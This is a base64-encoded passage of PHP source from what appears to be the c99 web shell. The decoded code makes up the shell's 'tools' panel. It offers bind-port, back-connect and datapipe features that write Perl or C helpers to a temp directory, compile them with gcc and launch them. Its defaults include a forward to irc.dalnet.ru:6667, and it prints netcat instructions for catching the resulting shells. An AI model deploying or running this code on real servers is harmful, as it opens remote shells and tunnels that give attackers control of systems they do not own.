ICAgICB7DQogICAgICAgICAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1jdXQiIC4gKCRkc3Bh
Y3QgPT0gImN1dCIgPyAiIHNlbGVjdGVkIiA6ICIiKSAuICI+Q3V0PC9vcHRpb24+IjsNCiAgICAg
ICAgICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPWNvcHkiIC4gKCRkc3BhY3QgPT0gImNvcHki
ID8gIiBzZWxlY3RlZCIgOiAiIikgLiAiPkNvcHk8L29wdGlvbj4iOw0KICAgICAgICAgICAgICAg
IGVjaG8gIjxvcHRpb24gdmFsdWU9dW5zZWxlY3QiIC4gKCRkc3BhY3QgPT0gInVuc2VsZWN0IiA/
ICIgc2VsZWN0ZWQiIDogIiIpIC4gIj5VbnNlbGVjdDwvb3B0aW9uPiI7DQogICAgICAgICAgICB9
DQogICAgICAgICAgICBlY2hvICI8L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFs
dWU9XCJDb25maXJtXCI+PC9wPiI7DQogICAgICAgICAgICBlY2hvICI8L2Zvcm0+IjsNCiAgICAg
ICAgfQ0KICAgIH0NCiAgICBpZiAoJGFjdCA9PSAidG9vbHMiKQ0KICAgIHsNCiAgICAgICAgJGJu
ZHBvcnRzcmNzID0gYXJyYXkoDQogICAgICAgICAgICAiYzk5c2hfYmluZHBvcnQucGwiID0+IGFy
cmF5KA0KICAgICAgICAgICAgICAgICJVc2luZyBQRVJMIiwNCiAgICAgICAgICAgICAgICAicGVy
bCAlcGF0aCAlcG9ydCINCiAgICAgICAgICAgICkgLA0KICAgICAgICAgICAgImM5OXNoX2JpbmRw
b3J0LmMiID0+IGFycmF5KA0KICAgICAgICAgICAgICAgICJVc2luZyBDIiwNCiAgICAgICAgICAg
ICAgICAiJXBhdGggJXBvcnQgJXBhc3MiDQogICAgICAgICAgICApDQogICAgICAgICk7DQogICAg
ICAgICRiY3NyY3MgPSBhcnJheSgNCiAgICAgICAgICAgICJjOTlzaF9iYWNrY29ubi5wbCIgPT4g
YXJyYXkoDQogICAgICAgICAgICAgICAgIlVzaW5nIFBFUkwiLA0KICAgICAgICAgICAgICAgICJw
ZXJsICVwYXRoICVob3N0ICVwb3J0Ig0KICAgICAgICAgICAgKSAsDQogICAgICAgICAgICAiYzk5
c2hfYmFja2Nvbm4uYyIgPT4gYXJyYXkoDQogICAgICAgICAgICAgICAgIlVzaW5nIEMiLA0KICAg
ICAgICAgICAgICAgICIlcGF0aCAlaG9zdCAlcG9ydCINCiAgICAgICAgICAgICkNCiAgICAgICAg
KTsNCiAgICAgICAgJGRwc3JjcyA9IGFycmF5KA0KICAgICAgICAgICAgImM5OXNoX2RhdGFwaXBl
LnBsIiA9PiBhcnJheSgNCiAgICAgICAgICAgICAgICAiVXNpbmcgUEVSTCIsDQogICAgICAgICAg
ICAgICAgInBlcmwgJXBhdGggJWxvY2FscG9ydCAlcmVtb3RlaG9zdCAlcmVtb3RlcG9ydCINCiAg
ICAgICAgICAgICkgLA0KICAgICAgICAgICAgImM5OXNoX2RhdGFwaXBlLmMiID0+IGFycmF5KA0K
ICAgICAgICAgICAgICAgICJVc2luZyBDIiwNCiAgICAgICAgICAgICAgICAiJXBhdGggJWxvY2Fs
cG9ydCAlcmVtb3RlcG9ydCAlcmVtb3RlaG9zdCINCiAgICAgICAgICAgICkNCiAgICAgICAgKTsN
CiAgICAgICAgaWYgKCFpc19hcnJheSgkYmluZCkpDQogICAgICAgIHsNCiAgICAgICAgICAgICRi
aW5kID0gYXJyYXkoKTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoIWlzX2FycmF5KCRiYykpDQog
ICAgICAgIHsNCiAgICAgICAgICAgICRiYyA9IGFycmF5KCk7DQogICAgICAgIH0NCiAgICAgICAg
aWYgKCFpc19hcnJheSgkZGF0YXBpcGUpKQ0KICAgICAgICB7DQogICAgICAgICAgICAkZGF0YXBp
cGUgPSBhcnJheSgpOw0KICAgICAgICB9DQogICAgICAgIGlmICghaXNfbnVtZXJpYygkYmluZFsi
cG9ydCJdKSkNCiAgICAgICAgew0KICAgICAgICAgICAgJGJpbmRbInBvcnQiXSA9ICRiaW5kcG9y
dF9wb3J0Ow0KICAgICAgICB9DQogICAgICAgIGlmIChlbXB0eSgkYmluZFsicGFzcyJdKSkNCiAg
ICAgICAgew0KICAgICAgICAgICAgJGJpbmRbInBhc3MiXSA9ICRiaW5kcG9ydF9wYXNzOw0KICAg
ICAgICB9DQogICAgICAgIGlmIChlbXB0eSgkYmNbImhvc3QiXSkpDQogICAgICAgIHsNCiAgICAg
ICAgICAgICRiY1siaG9zdCJdID0gZ2V0ZW52KCJSRU1PVEVfQUREUiIpOw0KICAgICAgICB9DQog
ICAgICAgIGlmICghaXNfbnVtZXJpYygkYmNbInBvcnQiXSkpDQogICAgICAgIHsNCiAgICAgICAg
ICAgICRiY1sicG9ydCJdID0gJGJjX3BvcnQ7DQogICAgICAgIH0NCiAgICAgICAgaWYgKGVtcHR5
KCRkYXRhcGlwZVsicmVtb3RlYWRkciJdKSkNCiAgICAgICAgew0KICAgICAgICAgICAgJGRhdGFw
aXBlWyJyZW1vdGVhZGRyIl0gPSAiaXJjLmRhbG5ldC5ydTo2NjY3IjsNCiAgICAgICAgfQ0KICAg
ICAgICBpZiAoIWlzX251bWVyaWMoJGRhdGFwaXBlWyJsb2NhbHBvcnQiXSkpDQogICAgICAgIHsN
CiAgICAgICAgICAgICRkYXRhcGlwZVsibG9jYWxwb3J0Il0gPSAkZGF0YXBpcGVfbG9jYWxwb3J0
Ow0KICAgICAgICB9DQogICAgICAgIGlmICghZW1wdHkoJGJpbmRzdWJtaXQpKQ0KICAgICAgICB7
DQogICAgICAgICAgICBlY2hvICI8Yj5SZXN1bHQgb2YgYmluZGluZyBwb3J0OjwvYj48YnI+IjsN
CiAgICAgICAgICAgICR2ID0gJGJuZHBvcnRzcmNzWyRiaW5kWyJzcmMiXV07DQogICAgICAgICAg
ICBpZiAoZW1wdHkoJHYpKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGVjaG8gIlVu
a25vd24gZmlsZSE8YnI+IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2VpZiAoZnNv
Y2tvcGVuKGdldGVudigiU0VSVkVSX0FERFIiKSAsICRiaW5kWyJwb3J0Il0sICRlcnJubywgJGVy
cnN0ciwgMC4xKSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBlY2hvICJQb3J0IGFs
cmVkeSBpbiB1c2UsIHNlbGVjdCBhbnkgb3RoZXIhPGJyPiI7DQogICAgICAgICAgICB9DQogICAg
ICAgICAgICBlbHNlDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJHcgPSBleHBsb2Rl
KCIuIiwgJGJpbmRbInNyYyJdKTsNCiAgICAgICAgICAgICAgICAkZXh0ID0gJHdbY291bnQoJHcp
IC0gMV07DQogICAgICAgICAgICAgICAgdW5zZXQoJHdbY291bnQoJHcpIC0gMV0pOw0KICAgICAg
ICAgICAgICAgICRzcmNwYXRoID0gam9pbigiLiIsICR3KSAuICIuIiAuIHJhbmQoMCwgOTk5KSAu
ICIuIiAuICRleHQ7DQogICAgICAgICAgICAgICAgJGJpbnBhdGggPSAkdG1wZGlyIC4gam9pbigi
LiIsICR3KSAuIHJhbmQoMCwgOTk5KTsNCiAgICAgICAgICAgICAgICBpZiAoJGV4dCA9PSAicGwi
KQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJGJpbnBhdGggPSAkc3Jj
cGF0aDsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgQHVubGluaygkc3JjcGF0
aCk7DQogICAgICAgICAgICAgICAgJGZwID0gZm9wZW4oJHNyY3BhdGgsICJhYisiKTsNCiAgICAg
ICAgICAgICAgICBpZiAoISRmcCkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAg
ICAgIGVjaG8gIkNhbid0IHdyaXRlIHNvdXJjZXMgdG8gXCIiIC4gJHNyY3BhdGggLiAiXCIhPGJy
PiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVsc2VpZiAoISRkYXRhID0g
Yzk5Z2V0c291cmNlKCRiaW5kWyJzcmMiXSkpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAg
ICAgICAgICAgICBlY2hvICJDYW4ndCBkb3dubG9hZCBzb3VyY2VzISI7DQogICAgICAgICAgICAg
ICAgfQ0KICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAg
ICAgICAgICAgIGZ3cml0ZSgkZnAsICRkYXRhLCBzdHJsZW4oJGRhdGEpKTsNCiAgICAgICAgICAg
ICAgICAgICAgZmNsb3NlKCRmcCk7DQogICAgICAgICAgICAgICAgICAgIGlmICgkZXh0ID09ICJj
IikNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHJldGdj
YyA9IG15c2hlbGxleGVjKCJnY2MgLW8gIiAuICRiaW5wYXRoIC4gIiAiIC4gJHNyY3BhdGgpOw0K
ICAgICAgICAgICAgICAgICAgICAgICAgQHVubGluaygkc3JjcGF0aCk7DQogICAgICAgICAgICAg
ICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiJXBhdGgi
LCAkYmlucGF0aCwgJHZbMV0pOw0KICAgICAgICAgICAgICAgICAgICAkdlsxXSA9IHN0cl9yZXBs
YWNlKCIlcG9ydCIsICRiaW5kWyJwb3J0Il0sICR2WzFdKTsNCiAgICAgICAgICAgICAgICAgICAg
JHZbMV0gPSBzdHJfcmVwbGFjZSgiJXBhc3MiLCAkYmluZFsicGFzcyJdLCAkdlsxXSk7DQogICAg
ICAgICAgICAgICAgICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIi8vIiwgIi8iLCAkdlsxXSk7DQog
ICAgICAgICAgICAgICAgICAgICRyZXRiaW5kID0gbXlzaGVsbGV4ZWMoJHZbMV0gLiAiID4gL2Rl
di9udWxsICYiKTsNCiAgICAgICAgICAgICAgICAgICAgc2xlZXAoNSk7DQogICAgICAgICAgICAg
ICAgICAgICRzb2NrID0gZnNvY2tvcGVuKCJsb2NhbGhvc3QiLCAkYmluZFsicG9ydCJdLCAkZXJy
bm8sICRlcnJzdHIsIDUpOw0KICAgICAgICAgICAgICAgICAgICBpZiAoISRzb2NrKQ0KICAgICAg
ICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJJIGNhbid0IGNv
bm5lY3QgdG8gbG9jYWxob3N0OiIgLiAkYmluZFsicG9ydCJdIC4gIiEgSSB0aGluayB5b3Ugc2hv
dWxkIGNvbmZpZ3VyZSB5b3VyIGZpcmV3YWxsLiI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAg
ICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAg
ICAgICAgICAgICAgICBlY2hvICJCaW5kaW5nLi4uIG9rISBDb25uZWN0IHRvIDxiPiIgLiBnZXRl
bnYoIlNFUlZFUl9BRERSIikgLiAiOiIgLiAkYmluZFsicG9ydCJdIC4gIjwvYj4hIFlvdSBzaG91
bGQgdXNlIE5ldENhdCZjb3B5OywgcnVuIFwiPGI+bmMgLXYgIiAuIGdldGVudigiU0VSVkVSX0FE
RFIiKSAuICIgIiAuICRiaW5kWyJwb3J0Il0gLiAiPC9iPlwiITxjZW50ZXI+PGEgaHJlZj1cIiIg
LiAkc3VybCAuICJhY3Q9cHJvY2Vzc2VzJmdyZXA9IiAuIGJhc2VuYW1lKCRiaW5wYXRoKSAuICJc
Ij48dT5WaWV3IGJpbmRlcidzIHByb2Nlc3M8L3U+PC9hPjwvY2VudGVyPiI7DQogICAgICAgICAg
ICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZWNobyAiPGJy
PiI7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgaWYgKCFlbXB0eSgkYmNzdWJt
aXQpKQ0KICAgICAgICB7DQogICAgICAgICAgICBlY2hvICI8Yj5SZXN1bHQgb2YgYmFjayBjb25u
ZWN0aW9uOjwvYj48YnI+IjsNCiAgICAgICAgICAgICR2ID0gJGJjc3Jjc1skYmNbInNyYyJdXTsN
CiAgICAgICAgICAgIGlmIChlbXB0eSgkdikpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAg
ICAgZWNobyAiVW5rbm93biBmaWxlITxicj4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAg
ZWxzZQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICR3ID0gZXhwbG9kZSgiLiIsICRi
Y1sic3JjIl0pOw0KICAgICAgICAgICAgICAgICRleHQgPSAkd1tjb3VudCgkdykgLSAxXTsNCiAg
ICAgICAgICAgICAgICB1bnNldCgkd1tjb3VudCgkdykgLSAxXSk7DQogICAgICAgICAgICAgICAg
JHNyY3BhdGggPSBqb2luKCIuIiwgJHcpIC4gIi4iIC4gcmFuZCgwLCA5OTkpIC4gIi4iIC4gJGV4
dDsNCiAgICAgICAgICAgICAgICAkYmlucGF0aCA9ICR0bXBkaXIgLiBqb2luKCIuIiwgJHcpIC4g
cmFuZCgwLCA5OTkpOw0KICAgICAgICAgICAgICAgIGlmICgkZXh0ID09ICJwbCIpDQogICAgICAg
ICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkYmlucGF0aCA9ICRzcmNwYXRoOw0KICAg
ICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBAdW5saW5rKCRzcmNwYXRoKTsNCiAgICAg
ICAgICAgICAgICAkZnAgPSBmb3Blbigkc3JjcGF0aCwgImFiKyIpOw0KICAgICAgICAgICAgICAg
IGlmICghJGZwKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAi
Q2FuJ3Qgd3JpdGUgc291cmNlcyB0byBcIiIgLiAkc3JjcGF0aCAuICJcIiE8YnI+IjsNCiAgICAg
ICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZWxzZWlmICghJGRhdGEgPSBjOTlnZXRzb3Vy
Y2UoJGJjWyJzcmMiXSkpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBl
Y2hvICJDYW4ndCBkb3dubG9hZCBzb3VyY2VzISI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAg
ICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIGZ3
cml0ZSgkZnAsICRkYXRhLCBzdHJsZW4oJGRhdGEpKTsNCiAgICAgICAgICAgICAgICAgICAgZmNs
b3NlKCRmcCk7DQogICAgICAgICAgICAgICAgICAgIGlmICgkZXh0ID09ICJjIikNCiAgICAgICAg
ICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHJldGdjYyA9IG15c2hlbGxl
eGVjKCJnY2MgLW8gIiAuICRiaW5wYXRoIC4gIiAiIC4gJHNyY3BhdGgpOw0KICAgICAgICAgICAg
ICAgICAgICAgICAgQHVubGluaygkc3JjcGF0aCk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAg
ICAgICAgICAgICAgICAgICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiJXBhdGgiLCAkYmlucGF0aCwg
JHZbMV0pOw0KICAgICAgICAgICAgICAgICAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIlaG9zdCIs
ICRiY1siaG9zdCJdLCAkdlsxXSk7DQogICAgICAgICAgICAgICAgICAgICR2WzFdID0gc3RyX3Jl
cGxhY2UoIiVwb3J0IiwgJGJjWyJwb3J0Il0sICR2WzFdKTsNCiAgICAgICAgICAgICAgICAgICAg
JHZbMV0gPSBzdHJfcmVwbGFjZSgiLy8iLCAiLyIsICR2WzFdKTsNCiAgICAgICAgICAgICAgICAg
ICAgJHJldGJpbmQgPSBteXNoZWxsZXhlYygkdlsxXSAuICIgPiAvZGV2L251bGwgJiIpOw0KICAg
ICAgICAgICAgICAgICAgICBlY2hvICJOb3cgc2NyaXB0IHRyeSBjb25uZWN0IHRvICIgLiBodG1s
c3BlY2lhbGNoYXJzKCRiY1siaG9zdCJdKSAuICI6IiAuIGh0bWxzcGVjaWFsY2hhcnMoJGJjWyJw
b3J0Il0pIC4gIi4uLjxicj4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAg
ICAgICAgfQ0KICAgICAgICBpZiAoIWVtcHR5KCRkcHN1Ym1pdCkpDQogICAgICAgIHsNCiAgICAg
ICAgICAgIGVjaG8gIjxiPlJlc3VsdCBvZiBkYXRhcGlwZS1ydW5uaW5nOjwvYj48YnI+IjsNCiAg
ICAgICAgICAgICR2ID0gJGRwc3Jjc1skZGF0YXBpcGVbInNyYyJdXTsNCiAgICAgICAgICAgIGlm
IChlbXB0eSgkdikpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgZWNobyAiVW5rbm93
biBmaWxlITxicj4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZWlmIChmc29ja29w
ZW4oZ2V0ZW52KCJTRVJWRVJfQUREUiIpICwgJGRhdGFwaXBlWyJwb3J0Il0sICRlcnJubywgJGVy
cnN0ciwgMC4xKSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBlY2hvICJQb3J0IGFs
cmVkeSBpbiB1c2UsIHNlbGVjdCBhbnkgb3RoZXIhPGJyPiI7DQogICAgICAgICAgICB9DQogICAg
ICAgICAgICBlbHNlDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJHNyY3BhdGggPSAk
dG1wZGlyIC4gJGRhdGFwaXBlWyJzcmMiXTsNCiAgICAgICAgICAgICAgICAkdyA9IGV4cGxvZGUo
Ii4iLCAkZGF0YXBpcGVbInNyYyJdKTsNCiAgICAgICAgICAgICAgICAkZXh0ID0gJHdbY291bnQo
JHcpIC0gMV07DQogICAgICAgICAgICAgICAgdW5zZXQoJHdbY291bnQoJHcpIC0gMV0pOw0KICAg
ICAgICAgICAgICAgICRzcmNwYXRoID0gam9pbigiLiIsICR3KSAuICIuIiAuIHJhbmQoMCwgOTk5
KSAuICIuIiAuICRleHQ7DQogICAgICAgICAgICAgICAgJGJpbnBhdGggPSAkdG1wZGlyIC4gam9p
bigiLiIsICR3KSAuIHJhbmQoMCwgOTk5KTsNCiAgICAgICAgICAgICAgICBpZiAoJGV4dCA9PSAi
cGwiKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJGJpbnBhdGggPSAk
c3JjcGF0aDsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgQHVubGluaygkc3Jj
cGF0aCk7DQogICAgICAgICAgICAgICAgJGZwID0gZm9wZW4oJHNyY3BhdGgsICJhYisiKTsNCiAg
ICAgICAgICAgICAgICBpZiAoISRmcCkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAg
ICAgICAgIGVjaG8gIkNhbid0IHdyaXRlIHNvdXJjZXMgdG8gXCIiIC4gJHNyY3BhdGggLiAiXCIh
PGJyPiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVsc2VpZiAoISRkYXRh
ID0gYzk5Z2V0c291cmNlKCRkYXRhcGlwZVsic3JjIl0pKQ0KICAgICAgICAgICAgICAgIHsNCiAg
ICAgICAgICAgICAgICAgICAgZWNobyAiQ2FuJ3QgZG93bmxvYWQgc291cmNlcyEiOw0KICAgICAg
ICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgew0KICAg
ICAgICAgICAgICAgICAgICBmd3JpdGUoJGZwLCAkZGF0YSwgc3RybGVuKCRkYXRhKSk7DQogICAg
ICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOw0KICAgICAgICAgICAgICAgICAgICBpZiAoJGV4
dCA9PSAiYyIpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAg
ICRyZXRnY2MgPSBteXNoZWxsZXhlYygiZ2NjIC1vICIgLiAkYmlucGF0aCAuICIgIiAuICRzcmNw
YXRoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJHNyY3BhdGgpOw0KICAgICAg
ICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGxpc3QoJGRhdGFwaXBlWyJyZW1v
dGVob3N0Il0sICRkYXRhcGlwZVsicmVtb3RlcG9ydCJdKSA9IGV4cGxvZGUoIjoiLCAkZGF0YXBp
cGVbInJlbW90ZWFkZHIiXSk7DQogICAgICAgICAgICAgICAgICAgICR2WzFdID0gc3RyX3JlcGxh
Y2UoIiVwYXRoIiwgJGJpbnBhdGgsICR2WzFdKTsNCiAgICAgICAgICAgICAgICAgICAgJHZbMV0g
PSBzdHJfcmVwbGFjZSgiJWxvY2FscG9ydCIsICRkYXRhcGlwZVsibG9jYWxwb3J0Il0sICR2WzFd
KTsNCiAgICAgICAgICAgICAgICAgICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiJXJlbW90ZWhvc3Qi
LCAkZGF0YXBpcGVbInJlbW90ZWhvc3QiXSwgJHZbMV0pOw0KICAgICAgICAgICAgICAgICAgICAk
dlsxXSA9IHN0cl9yZXBsYWNlKCIlcmVtb3RlcG9ydCIsICRkYXRhcGlwZVsicmVtb3RlcG9ydCJd
LCAkdlsxXSk7DQogICAgICAgICAgICAgICAgICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIi8vIiwg
Ii8iLCAkdlsxXSk7DQogICAgICAgICAgICAgICAgICAgICRyZXRiaW5kID0gbXlzaGVsbGV4ZWMo
JHZbMV0gLiAiID4gL2Rldi9udWxsICYiKTsNCiAgICAgICAgICAgICAgICAgICAgc2xlZXAoNSk7
DQogICAgICAgICAgICAgICAgICAgICRzb2NrID0gZnNvY2tvcGVuKCJsb2NhbGhvc3QiLCAkZGF0
YXBpcGVbInBvcnQiXSwgJGVycm5vLCAkZXJyc3RyLCA1KTsNCiAgICAgICAgICAgICAgICAgICAg
aWYgKCEkc29jaykNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAg
ICAgZWNobyAiSSBjYW4ndCBjb25uZWN0IHRvIGxvY2FsaG9zdDoiIC4gJGRhdGFwaXBlWyJsb2Nh
bHBvcnQiXSAuICIhIEkgdGhpbmsgeW91IHNob3VsZCBjb25maWd1cmUgeW91ciBmaXJld2FsbC4i
Ow0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAg
ICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiUnVubmluZyBk
YXRhcGlwZS4uLiBvayEgQ29ubmVjdCB0byA8Yj4iIC4gZ2V0ZW52KCJTRVJWRVJfQUREUiIpIC4g
IjoiIC4gJGRhdGFwaXBlWyJwb3J0Il0gLiAiLCBhbmQgeW91IHdpbGwgY29ubmVjdGVkIHRvICIg
LiAkZGF0YXBpcGVbInJlbW90ZWFkZHIiXSAuICI8L2I+ISBZb3Ugc2hvdWxkIHVzZSBOZXRDYXQm
Y29weTssIHJ1biBcIjxiPm5jIC12ICIgLiBnZXRlbnYoIlNFUlZFUl9BRERSIikgLiAiICIgLiAk
YmluZFsicG9ydCJdIC4gIjwvYj5cIiE8Y2VudGVyPjxhIGhyZWY9XCIiIC4gJHN1cmwgLiAiYWN0
PXByb2Nlc3NlcyZncmVwPSIgLiBiYXNlbmFtZSgkYmlucGF0aCkgLiAiXCI+PHU+VmlldyBkYXRh
cGlwZSBwcm9jZXNzPC91PjwvYT48L2NlbnRlcj4iOw0KICAgICAgICAgICAgICAgICAgICB9DQog
ICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVjaG8gIjxicj4iOw0KICAgICAgICAg
ICAgfQ0KICAgICAgICB9ID8+PGI+QmluZGluZyBwb3J0OjwvYj48YnI+PGZvcm0gYWN0aW9uPSI8
P3BocCBlY2hvICRzdXJsOyA/PiI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPXRv
b2xzPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9Ijw/cGhwIGVjaG8gJGQ7ID8+Ij5Q
b3J0OiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ImJpbmRbcG9ydF0iIHZhbHVlPSI8P3BocCBlY2hv
IGh0bWxzcGVjaWFsY2hhcnMoJGJpbmRbInBvcnQiXSk7ID8+Ij4mbmJzcDtQYXNzd29yZDogPGlu
cHV0IHR5cGU9dGV4dCBuYW1lPSJiaW5kW3Bhc3NdIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3Bl
Y2lhbGNoYXJzKCRiaW5kWyJwYXNzIl0pOyA/PiI+Jm5ic3A7PHNlbGVjdCBuYW1lPSJiaW5kW3Ny
Y10iPjw/cGhwIGZvcmVhY2ggKCRibmRwb3J0c3JjcyBhcyAkayA9PiAkdikNCiAgICAgICAgew0K
ICAgICAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cIiIgLiAkayAuICJcIiI7DQogICAgICAg
ICAgICBpZiAoJGsgPT0gJGJpbmRbInNyYyJdKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAg
ICAgIGVjaG8gIiBzZWxlY3RlZCI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICI+
IiAuICR2WzBdIC4gIjwvb3B0aW9uPiI7DQogICAgICAgIH0gPz48L3NlbGVjdD4mbmJzcDs8aW5w
dXQgdHlwZT1zdWJtaXQgbmFtZT1iaW5kc3VibWl0IHZhbHVlPSJCaW5kIj48L2Zvcm0+DQo8Yj5C
YWNrIGNvbm5lY3Rpb246PC9iPjxicj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+
Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9dG9vbHM+PGlucHV0IHR5cGU9aGlk
ZGVuIG5hbWU9ZCB2YWx1ZT0iPD9waHAgZWNobyAkZDsgPz4iPkhPU1Q6IDxpbnB1dCB0eXBlPXRl
eHQgbmFtZT0iYmNbaG9zdF0iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGJj
WyJob3N0Il0pOyA/PiI+Jm5ic3A7UG9ydDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPSJiY1twb3J0
XSIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkYmNbInBvcnQiXSk7ID8+Ij4m
bmJzcDs8c2VsZWN0IG5hbWU9ImJjW3NyY10iPjw/cGhwIGZvcmVhY2ggKCRiY3NyY3MgYXMgJGsg
PT4gJHYpDQogICAgICAgIHsNCiAgICAgICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCIiIC4g
JGsgLiAiXCIiOw0KICAgICAgICAgICAgaWYgKCRrID09ICRiY1sic3JjIl0pDQogICAgICAgICAg
ICB7DQogICAgICAgICAgICAgICAgZWNobyAiIHNlbGVjdGVkIjsNCiAgICAgICAgICAgIH0NCiAg
ICAgICAgICAgIGVjaG8gIj4iIC4gJHZbMF0gLiAiPC9vcHRpb24+IjsNCiAgICAgICAgfSA/Pjwv
c2VsZWN0PiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWJjc3VibWl0IHZhbHVlPSJDb25u
ZWN0Ij48L2Zvcm0+DQpDbGljayAiQ29ubmVjdCIgb25seSBhZnRlciBvcGVuIHBvcnQgZm9yIGl0
LiBZb3Ugc2hvdWxkIHVzZSBOZXRDYXQmY29weTssIHJ1biAiPGI+bmMgLWwgLW4gLXYgLXAgPD9w
aHAgZWNobyAkYmNfcG9ydDsgPz48L2I+IiE8YnI+PGJyPg0KPGI+RGF0YXBpcGU6PC9iPjxicj48
Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFt
ZT1hY3QgdmFsdWU9dG9vbHM+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0iPD9waHAg
ZWNobyAkZDsgPz4iPkhPU1Q6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT0iZGF0YXBpcGVbcmVtb3Rl
YWRkcl0iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGRhdGFwaXBlWyJyZW1v
dGVhZGRyIl0pOyA/PiI+Jm5ic3A7TG9jYWwgcG9ydDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPSJk
YXRhcGlwZVtsb2NhbHBvcnRdIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRk
YXRhcGlwZVsibG9jYWxwb3J0Il0pOyA/PiI+Jm5ic3A7PHNlbGVjdCBuYW1lPSJkYXRhcGlwZVtz
cmNdIj48P3BocCBmb3JlYWNoICgkZHBzcmNzIGFzICRrID0+ICR2KQ0KICAgICAgICB7DQogICAg
ICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiIiAuICRrIC4gIlwiIjsNCiAgICAgICAgICAg
